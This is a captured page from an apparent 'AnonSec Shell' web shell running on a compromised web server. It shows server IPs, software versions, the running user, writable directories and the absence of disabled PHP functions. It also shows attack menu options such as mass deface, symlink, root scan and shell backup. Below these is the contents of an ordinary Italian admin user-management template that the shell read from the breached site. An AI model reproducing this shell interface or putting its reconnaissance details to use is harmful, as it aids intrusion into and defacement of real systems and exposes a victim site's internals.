. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.6.220   [ Reverse IP ]
Web Server : Apache/2.4.66 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-81.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/admin/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/admin/views/jam-utenti.html
<div class="container" data-ng-controller="utentiCtrl as uctrl">
                          
<!--
    <div class="card lvl-target-invisible todisappear" style="position: fixed; margin-top: 200px; z-index: 9999999">
        <button class="btn btn-danger btn-icon-text waves-effect" style="margin: 5px;" ng-repeat="gruppo in gruppi" x-lvl-drop-target="true" group-id="{{gruppo.group_id}}" x-on-drop="dropped(dragEl, dropEl)">
            <i class="zmdi zmdi-account-add zmdi-hc-fw"></i>
            {{gruppo.title}}
        </button>
    </div>
-->
        <!-- Elenco gruppi visibili solo quando draggo 
    <div class="card todisappear" id="insertUtente" data-ng-if="1 === 1" style="position: fixed; z-index: 99999; margin-top: 60px">
        <button class="btn btn-danger btn-icon-text waves-effect lvl-target-invisible disappeared" style="margin: 5px;" ng-repeat="gruppo in gruppi" x-lvl-drop-target="true" group-id="{{gruppo.group_id}}" x-on-drop="dropped(dragEl, dropEl)">
            <i class="zmdi zmdi-account-add zmdi-hc-fw"></i>
            {{gruppo.title}}
        </button>
    </div>
-->

    <div class="card block-header">

      <h2 class="lvl-target-visible" style="position: absolute;">Utenti del sistema<small>In questa sezione pui trovare tutti gli utenti del sistema.<br></small></h2> <!-- Sugli utenenti cercati su LDAP, premendo sull'icona dell'utente compariranno i gruppi del sistema per eseguire l'associazione.</small><br></h2>

        <h2 class="lvl-target-invisible disappeared" style="position: fixed; z-index: 99999; width: 100%">Associzione Utente a un Gruppo del sistema<small>Rilascia l'utente su uno dei gruppi per associarlo o rilascialo per annullare l'operazione.</small></h2>-->

      
     <ul class="actions m-t-20">
            <li class="dropdown" uib-dropdown>
                <a href="" uib-dropdown-toggle>
                    <i class="zmdi zmdi-more-vert"></i>
                </a>

                <ul class="dropdown-menu dropdown-menu-right">
                    <li>
                        <a ng-click="uctrl.newUser = 1" >Aggiungi Utente</a>
                    </li>
    
                  <li>
                      <a ng-click="verificaRfid()">Verifica Associazione RFID</a>
                  </li>
     
                  <li>
                      <a ng-click="cancellaRfid()" >Cancella Associazione RFID</a>
                  </li>
              </ul>
            </li>
        </ul>
    </div>




    <!-- Elenco gruppi visibili solo quando draggo 
    <div class="cardd aniamted" id="insertUtente" data-ng-if="1 === 1" style="position: fixed; z-index: 99999;">
        <button class="btn btn-danger btn-icon-text waves-effect lvl-target-invisible todisappear" style="margin: 5px;" ng-repeat="gruppo in gruppi" x-lvl-drop-target="true" group-id="{{gruppo.group_id}}" x-on-drop="dropped(dragEl, dropEl)">
            <i class="zmdi zmdi-account-add zmdi-hc-fw"></i>
            {{gruppo.title}}
        </button>
    </div>
    -->
    <div class="card" id="insertUtente" data-ng-if="uctrl.newUser === 1" style="margin-top: 60px">
        <form data-ng-submit="uctrl.submit()" class="form-horizontal ng-pristine ng-valid" role="form">
            <div class="card-header">
                <h2>Inserimento Utente <small>In questa sezione potrai inserire un nuovo utente nel sistema.<br>Attenzione l'utente sarà un super amministratore del sistema.</small></h2>
            </div>
            <div class="card-body card-padding">              
                <div class="form-group">
                    <label for="inputNome" class="col-sm-2 control-label">Nome <label class="errorJ">*</label></label>
                     
                    <div class="col-sm-10">
                        <div class="fg-line">
                            <input type="text" class="form-control input-sm" id="inputNome" data-ng-model="uctrl.insertUser.firstname" required placeholder="Nome">
                        </div>
                    </div>
                </div>
                <div class="form-group">
                    <label for="inputCognome" class="col-sm-2 control-label">Cognome <label class="errorJ">*</label></label>
                    <div class="col-sm-10">
                        <div class="fg-line">
                            <input type="text" class="form-control input-sm" id="inputCognome" data-ng-model="uctrl.insertUser.lastname" required placeholder="Cognome">
                        </div>
                    </div>
                </div>


                <div class="form-group">
                     <label for="inputRuolo" class="col-sm-2 control-label">Ruolo <label class="errorJ">*</label></label>
                     <div class="col-sm-10">
                     <div class="fg-line">
                        <select class="form-control input-sm" data-ng-model="uctrl.insertUser.user_type_id" required id="inputRuolo">
                            <option value="">Seleziona un Ruolo</option>
                            <option value="830830">Super Admin</option>
                            <option value="123456">Amministratore (Solo Riparazioni)</option>
                            <option value="234234">Blogger (Solo Blog e Categorie Blog)</option>
                            <option value="239934">Product Owner (Solo Prodotti, Categorie Prodotti e Device )</option>
                            <option value="1000000">Dipendente (Non può effettuare il login, visualizzato nella creazione/modifica pratica)</option>
                        </select>
                     </div>
                     </div>
                </div>

                <div class="form-group" ng-if="uctrl.insertUser.user_type_id != 830830">
                     <label for="inputsede" class="col-sm-2 control-label">Sede Associata <label class="errorJ">*</label></label>
                     <div class="col-sm-10">
                     <div class="fg-line">
                        <select class="form-control input-sm" data-ng-model="uctrl.insertUser.sede" ng-options="y as y.nomesede for y in sedi track by y.idsede" required id="inputsede">
                        </select>


                     </div>
                     </div>
                </div>


                <div class="form-group">
                    <label for="inputCognome" class="col-sm-2 control-label">Username <label class="errorJ">*</label></label>
                    <div class="col-sm-10">
                        <div class="fg-line">
                            <input type="text" class="form-control input-sm" id="inputUsername" data-ng-model="uctrl.insertUser.username" required placeholder="Username utilizzata per il login">
                        </div>
                    </div>
                </div>


                <div class="form-group">
                    <label for="inputEmail" class="col-sm-2 control-label">Email <label class="errorJ">*</label></label>
                    <div class="col-sm-10">
                        <div class="fg-line">
                            <input type="email" class="form-control input-sm" data-ng-model="uctrl.insertUser.email" required id="inputEmail" placeholder="Email">
                        </div>
                    </div>
                </div>
                <div class="form-group">
                    <label for="inputPassword" class="col-sm-2 control-label">Password <label class="errorJ">*</label></label>
                    <div class="col-sm-10">

                        <div class="fg-line">
                            <input type="password" class="form-control input-sm" data-ng-model="uctrl.insertUser.password" required id="inputPassword" placeholder="Password">
                        </div>
                    </div>
                </div>
                <div class="form-group">
                    <label for="inputPassword" class="col-sm-2 control-label">Riperti la Password <label class="errorJ">*</label></label>
                    <div class="col-sm-10">

                        <div class="fg-line">
                            <input type="password" required class="form-control input-sm" id="inputPassword" data-ng-model="uctrl.insertUser.passwordConferma" placeholder="Password">
                        </div>

                        <p ng-show="uctrl.insertUser.password != uctrl.insertUser.passwordConferma" class="Jerror">Le password non combaciano!</span>
                    </div>
                </div>
              <!--  <div class="form-group">
                    <div class="col-sm-offset-2 col-sm-10">
                        <div class="checkbox">
                            <label>
                                <input type="checkbox" value="1" data-ng-model="uctrl.insertUser.email_registrazione">
                                <i class="input-helper"></i>
                                Invia Email di Registrazione
                            </label>
                        </div>
                    </div>
                </div>-->
                <div class="form-group">
                    <div class="col-sm-offset-2 col-sm-10">
                        <button type="submit" class="btn btn-primary btn-sm waves-effect">Inserisci Utente</button>
                        <button class="btn btn-link btn-sm" data-ng-click="uctrl.newUser = 0" >Annulla</button>
                   </div>

                  
                </div>
            </div>
        </form>
    </div>

    <div class="card" data-ng-if="uctrl.edit === 1" style="margin-top: 60px">
        <form data-ng-submit="uctrl.modifica()" class="form-horizontal ng-pristine ng-valid" role="form">
            <div class="card-header">
                <h2>Modifica Utente <small>In questa sezione potrai modifica un amministratore di sistema (Non verrà reprilacato nel server Active Directory LDAP).</small></h2>
            </div>
            <div class="card-body card-padding">              
                <div class="form-group">
                    <label for="inputNome" class="col-sm-2 control-label">Nome <label class="errorJ">*</label></label>
                     
                    <div class="col-sm-10">
                        <div class="fg-line">
                            <input type="text" class="form-control input-sm" id="inputNome" data-ng-model="uctrl.modUser.firstname" required placeholder="Nome">
                        </div>
                    </div>
                </div>
                <div class="form-group">
                    <label for="inputCognome" class="col-sm-2 control-label">Cognome <label class="errorJ">*</label></label>
                    <div class="col-sm-10">
                        <div class="fg-line">
                            <input type="text" class="form-control input-sm" id="inputCognome" data-ng-model="uctrl.modUser.lastname" required placeholder="Cognome">
                        </div>
                    </div>
                </div>


                <div class="form-group">
                     <label for="inputRuolo" class="col-sm-2 control-label">Ruolo <label class="errorJ">*</label></label>
                     <div class="col-sm-10">
                     <div class="fg-line">
                        <select class="form-control input-sm" data-ng-model="uctrl.modUser.user_type_id" required id="inputRuolo">
                            <option value="">Seleziona un Ruolo</option>
                            <option value="830830">Super Admin</option>
                            <option value="123456">Amministratore (Solo Riparazioni)</option>
                            <option value="239934">Product Owner (Solo Prodotti, Categorie Prodotti e Device)</option>
                            <option value="234234">Blogger (Solo Blog e Categorie Blog)</option>
                            <option value="1000000">Dipendente (Non può effettuare il login, visualizzato nella creazione/modifica pratica)</option>
                      <!--      <option value="123456">Admin</option>-->
                        </select>
                     </div>
                     </div>
                </div>

                 <div class="form-group" ng-if="uctrl.modUser.user_type_id != 830830">
                     <label for="inputsede" class="col-sm-2 control-label">Sede Associata <label class="errorJ">*</label></label>
                     <div class="col-sm-10">
                     <div class="fg-line">
                        <select class="form-control input-sm" data-ng-model="uctrl.modUser.sede" ng-options="y as y.nomesede for y in sedi track by y.idsede" required id="inputsede">
                        </select>


                     </div>
                     </div>
                </div>


                <div class="form-group">
                    <label for="inputCognome" class="col-sm-2 control-label">Username <label class="errorJ">*</label></label>
                    <div class="col-sm-10">
                        <div class="fg-line">
                            <input type="text" class="form-control input-sm" id="inputUsername" data-ng-model="uctrl.modUser.username" required placeholder="Username utilizzata per il login">
                        </div>
                    </div>
                </div>


                <div class="form-group">
                    <label for="inputEmail" class="col-sm-2 control-label">Email <label class="errorJ">*</label></label>
                    <div class="col-sm-10">
                        <div class="fg-line">
                            <input type="email" class="form-control input-sm" data-ng-model="uctrl.modUser.email" required id="inputEmail" placeholder="Email">
                        </div>
                    </div>
                </div>
                <div class="form-group">
                    <label for="inputPassword" class="col-sm-2 control-label">Password <label class="errorJ">*</label></label>
                    <div class="col-sm-10">

                        <div class="fg-line">
                            <input type="password" class="form-control input-sm" data-ng-model="uctrl.modUser.password" id="inputPassword" placeholder="Password">
                        </div>
                    </div>
                </div>
                <div class="form-group">
                    <label for="inputPassword" class="col-sm-2 control-label">Riperti la Password <label class="errorJ">*</label></label>
                    <div class="col-sm-10">

                        <div class="fg-line">
                            <input type="password"  class="form-control input-sm" id="inputPassword" data-ng-model="uctrl.modUser.passwordConferma" placeholder="Password">
                        </div>
                        <p>Lasciare il campo password vuoto per non modificarla!</span>
                        <p ng-show="uctrl.modUser.password != uctrl.modUser.passwordConferma" class="Jerror">Le password non combaciano!</span>
                    </div>
                </div>
              <!--  <div class="form-group">
                    <div class="col-sm-offset-2 col-sm-10">
                        <div class="checkbox">
                            <label>
                                <input type="checkbox" value="1" data-ng-model="uctrl.insertUser.email_registrazione">
                                <i class="input-helper"></i>
                                Invia Email di Registrazione
                            </label>
                        </div>
                    </div>
                </div>-->
                <div class="form-group">
                    <div class="col-sm-offset-2 col-sm-10">
                        <button type="submit" class="btn btn-primary btn-sm waves-effect">Modifica Utente</button>
                        <button id="scompari" class="btn btn-link btn-sm" data-ng-click="uctrl.edit = 0" >Annulla</button>
                   </div>

                  
                </div>
            </div>
        </form>
    </div>


    <div class="card" style="margin-top: 60px;display:none" id="cardUtentiLdap">
        <div class="card-header" style="">
            <h2>Ricerca LDAP <small>Ricerca un utente su ldap</small></h2>
             <div class="form-group">
                    <div class="fg-line">
                        <input type="text" class="form-control input-sm" data-ng-model="ricercaLDAP" required id="ricercaLDAP" placeholder="Nome">
                    </div>
            </div>
            <div class="form-group">
                        <button ng-click="cercaLDAP()" class="btn btn-primary btn-sm waves-effect">Cerca Utente</button>

                  
                </div>
        </div>

                
        <div class="card-body">
            <div class="table-responsive">
                <table ng-table="uctrl.tableUtentiLDAP" class="table table-striped table-vmiddle" show-filter="false">
                    <tr style="{{w.style}}" ng-repeat="w in $data" x-lvl-draggable="{{w.drag}}" user-id="{{w.id_user}}">
                        <td>
                            <div>
                                
                                <!--<a data-ui-sref-active="active" data-ui-sref="jam.utente.informazioni({id_user: {{ w.id_user }} })" class="my-profile-pic">-->
                                <a class="my-profile-pic">
                                    <img src="img/logo.png" alt="{{ w.firstname }}" class="mCS_img_loaded">
                                </a>
                                    
                                <!--</a>-->
                            </div>
                        </td>
                        <td data-title="'Nome'" filter="{ 'firstname': 'text' }">
                            {{ w.firstname }} {{ w.lastname }}
                        </td>
                        <td data-title="'Email'" filter="{ 'email': 'text' }">
                            {{ w.email }}
                        </td>
                        <td data-title="'Username'" filter="{ 'username': 'text' }">
                            {{ w.username }}
                        </td>
                        <td data-title="'Sede'" filter="{ 'sede': 'text' }">
                            {{ w.sede.nomesede }}
                        </td>
                <!--        <td data-title="'Dn'" filter="{ 'dn': 'text' }">
                            {{ w.dn }}
                        </td>-->

                    </tr>
                </table>
            </div>
        </div>
    </div>

    <div class="card" style="margin-top: 60px" id="cardUtenti">
       <!-- <div class="card-header">
            <h2>Column Filtering <small>Type something in filter and press Enter or Filter button</small></h2>
        </div>-->
                
        <div class="card-body">
            <div class="table-responsive">
                <table ng-table="uctrl.tableUtenti" class="table table-striped table-vmiddle" show-filter="true">
                    <tr style="{{w.style}}" ng-repeat="w in $data"  user-id="{{w.id_user}}"><!-- x-lvl-draggable="{{w.drag}}" -->
                        <td>
                            <div>
                                
                                <!--<a data-ui-sref-active="active" data-ui-sref="jam.utente.informazioni({id_user: {{ w.id_user }} })" class="my-profile-pic">-->
                                <a class="my-profile-pic">
                                    <img src="img/logo.png" alt="{{ w.firstname }}" class="mCS_img_loaded">
                                </a>
                                    
                                <!--</a>-->
                            </div>
                        </td>
                        <td data-title="'Nome'" filter="{ 'firstname': 'text' }">
                            {{ w.firstname }} {{ w.lastname }}
                        </td>
                        <td data-title="'Email'" filter="{ 'email': 'text' }">
                            {{ w.email }}
                        </td>
                        <td data-title="'Username'" filter="{ 'username': 'text' }">
                            {{ w.username }}
                        </td>
                        <td data-title="'Tipo di Utente'">
                            {{ (w.user_type_id==830830)?'Super Admin':'' }}
                            {{ (w.user_type_id==234234)?'Blogger':'' }}
                            {{ (w.user_type_id==123456)?'Amministratore (Solo Patiche)':'' }}
                            {{ (w.user_type_id==1000000)?'Dipendente (No Login)':'' }}
                            {{ (w.user_type_id==239934)?'Product Owner':'' }}

                        </td>
                        <td data-title="'Sede'" >
                            {{ (w.sede)?w.sede.nomesede:'Tutte' }}
                        </td>
                        <td data-title="'Azione'">
                            <a type="button" class="btn btn-success ng-scope waves-effect" ng-click="uctrl.registraRfid(w)"><i class="zmdi zmdi-remote-control-alt"></i></a>
                             <a type="button" class="btn btn-default ng-scope waves-effect" ng-click="w.password='';uctrl.modUser = w;uctrl.edit = 1"><i class="zmdi zmdi-edit"></i></a>
                             <a type="button" class="btn btn-default ng-scope waves-effect" ng-click="cancellaUtente(w)" > <i class="zmdi zmdi-delete"></i></a>

                        </td>
                    <!--    <td data-title="'Dn'" filter="{ 'dn': 'text' }">
                            {{ w.dn }}
                        </td>-->

                    </tr>
                </table>
            </div>
        </div>
    </div>

</div>



Anon7 - 2022
AnonSec Team